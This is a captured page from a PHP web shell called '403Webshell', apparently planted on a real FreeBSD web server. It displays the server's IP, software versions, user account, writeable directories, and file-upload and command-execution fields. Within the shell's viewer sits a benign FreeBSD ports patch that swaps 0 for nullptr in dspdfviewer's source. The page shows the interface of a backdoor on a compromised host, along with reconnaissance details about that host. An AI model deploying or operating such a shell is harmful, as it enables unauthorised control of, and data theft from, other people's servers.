403Webshell
Server IP : 82.208.35.60  /  Your IP : 216.73.217.33
Web Server : Apache/2.4.55 (FreeBSD) OpenSSL/1.1.1q-freebsd PHP/7.3.31
System : FreeBSD server7.d2m.cz 12.4-RELEASE-p9 FreeBSD 12.4-RELEASE-p9 GENERIC amd64
User : studiokobylisy_cz ( 1008)
PHP Version : 7.3.31
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /usr/ports/graphics/dspdfviewer/files/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/ports/graphics/dspdfviewer/files/patch-hyperlinkarea.cpp
Fix build with modern Clang

../hyperlinkarea.cpp:35:18: error: zero as null pointer constant [-Werror,-Wzero-as-null-pointer-constant]
  if ( pixmap == 0 )
                 ^
                 nullptr

--- hyperlinkarea.cpp.orig	2018-03-11 12:58:40 UTC
+++ hyperlinkarea.cpp
@@ -32,7 +32,7 @@ HyperlinkArea::HyperlinkArea(QLabel* ima
     throw WrongLinkType();
   QRect mySize;
   const QPixmap* pixmap = imageLabel->pixmap();
-  if ( pixmap == 0 )
+  if ( pixmap == nullptr )
     throw /** FIXME Exception **/ std::runtime_error("Tried to construct a HyperlinkArea from an image label without a pixmap");
   
   QRectF sizeWithinImageLabel = link.linkArea();

Youez - 2016 - github.com/yon3zu
LinuXploit